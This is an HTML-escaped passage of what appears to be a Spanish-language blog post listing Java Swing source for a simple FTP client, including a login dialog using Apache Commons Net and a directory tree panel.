&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void desactivarTodo(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolLocal.explorador.setEnabled(false);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolRemoto.explorador.setEnabled(false);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;consola.setEnabled(false);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void activarTodo(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolLocal.explorador.setEnabled(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolRemoto.explorador.setEnabled(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;consola.setEnabled(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private void colocarSkin() {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (ClassNotFoundException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (InstantiationException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IllegalAccessException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String [] args){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 700, 400);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase FormularioAcceso&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import org.apache.commons.net.ftp.FTPClient;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class FormularioAcceso extends JDialog{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel plogin;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextField txtip,txtusuario;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPasswordField txtclave;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel panelBoton;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JButton btnaceptar;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Principal p;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public FormularioAcceso(Principal prin){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p=prin;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.setLayout(new GridLayout(3,2));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtip=new JTextField(10);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtusuario=new JTextField(10);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txtclave=new JPasswordField(10);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(new JLabel("IP Servidor:"));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(txtip);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(new JLabel("Usuario:"));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(txtusuario);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(new JLabel("Contraseña:"));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;plogin.add(txtclave);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel paux=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;paux.add(plogin);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelBoton=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnaceptar=new JButton("Conectar");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnaceptar.addActionListener(new ActionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;p.ftp = new FTPClient();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.ftp.connect(txtip.getText());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(p.ftp.login(txtusuario.getText(), new String(txtclave.getPassword()))){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;FormularioAcceso.this.dispose();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.activarTodo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.arbolRemoto.swroot=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.arbolRemoto.listaDirectorios();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.arbolRemoto.updateUI();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;p.consola.append("Conectado al servidor "+txtip.getText()+" \n");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;JOptionPane.showMessageDialog(null, "IP, usuario o Contraseña invalia.");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;p.desactivarTodo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;p.desactivarTodo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;JOptionPane.showMessageDialog(null, "IP, usuario o Contraseña invalia.");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelBoton.add(btnaceptar);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(paux);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(panelBoton,BorderLayout.SOUTH);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setBounds(0, 0, 300, 140);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setLocationRelativeTo(null);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setAlwaysOnTop(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.setUndecorated(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase ArbolDirectorios&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Dimension;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.File;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.event.TreeSelectionEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.event.TreeSelectionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.tree.DefaultMutableTreeNode;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.tree.DefaultTreeCellRenderer;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.tree.DefaultTreeModel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.tree.TreeModel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import org.apache.commons.net.ftp.FTPFile;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class ArbolDirectorios extends JPanel{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTree explorador;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DefaultTreeModel modelo;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DefaultMutableTreeNode Raiz,ultimoseleccionado;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Principal p;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int tipo=-1;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;boolean swroot=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String ruta="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;String nombreArchivo="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public ArbolDirectorios(Principal prin, int op){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new BorderLayout());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p=prin;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tipo=op;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if(tipo==1){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;Raiz=new DefaultMutableTreeNode("Raiz");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;explorador=new JTree(Raiz);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;DefaultTreeCellRenderer render=(DefaultTreeCellRenderer)explorador.getCellRenderer();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setLeafIcon(new ImageIcon(this.getClass().getResource("/lib/archivo.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setOpenIcon(new ImageIcon(this.getClass().getResource("/lib/carpeta.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setClosedIcon(new ImageIcon(this.getClass().getResource("/lib/carpeta.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;explorador.addTreeSelectionListener(new TreeSelectionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void valueChanged(TreeSelectionEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;DefaultMutableTreeNode sel=(DefaultMutableTreeNode)explorador.getLastSelectedPathComponent();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;File fhijo=obtenerRuta(sel);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;ruta=fhijo.toString();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;nombreArchivo=sel.getUserObject().toString();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(swroot==false){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     